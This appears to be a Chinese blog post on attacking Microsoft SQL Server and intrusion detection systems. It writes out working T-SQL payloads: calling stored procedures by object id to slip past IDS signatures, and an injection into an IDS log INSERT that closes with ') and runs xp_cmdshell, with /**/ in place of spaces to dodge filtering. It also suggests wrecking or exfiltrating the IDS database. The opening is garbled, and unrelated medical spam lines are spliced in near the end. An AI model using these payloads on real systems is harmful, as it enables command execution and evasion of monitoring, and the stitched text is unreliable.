数据库的一些攻击的
取决于政治体制及领域让步的宽幅。很显然 假设这个id=988456 declare @a sysname select @a=name from sysobjects where id=988456 exec @a \'dir c:\\\'
当然也可以 declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a \'dir c:\\\'
这种做法排列组合,ids根本不可能做的到完全监视 同理,sp_addlogin也可以这么做 再说说攻击ids: 因为ids数据量很大,日至通常备份到常规数据库,比如sql server 如果用古老的dnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给 sql server 去做 通常程序会这么写 insert table values (\'日至内容\',...)
那么我么想想看,如果用 temp\') exec xp_cmdshell \'dir c:\\\' --
提交后会变成 insert table values (\'日至内容\'....\'temp\') exec xp_cmdshell \'dir c:\\\' -- \')
这样,xp_cmdshell就可以在ids的数据库运行了 :) 当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20 因此,%20会被提交到sql server,这样你的命令就无法执行了 唯一的办法就是 insert/**/table/**/values(\'日至内容\'....\'temp\')/**/exec/**/xp_cmdshell/**/\'dir c:\\\'/**/-- \')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行 淡然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录 呵呵 其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 本来asp是select语句,那么用\'就可以屏蔽 现在ids用insert语句,那么用\')屏蔽 好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer《SQL自带工具》了。
呼和浩特哪家治白癜风医院好有多少种避孕的方法
太原治疗包皮包茎费用
- 上一篇:数据库的一些攻击呢
- 下一篇:数据进行排序分组统计技巧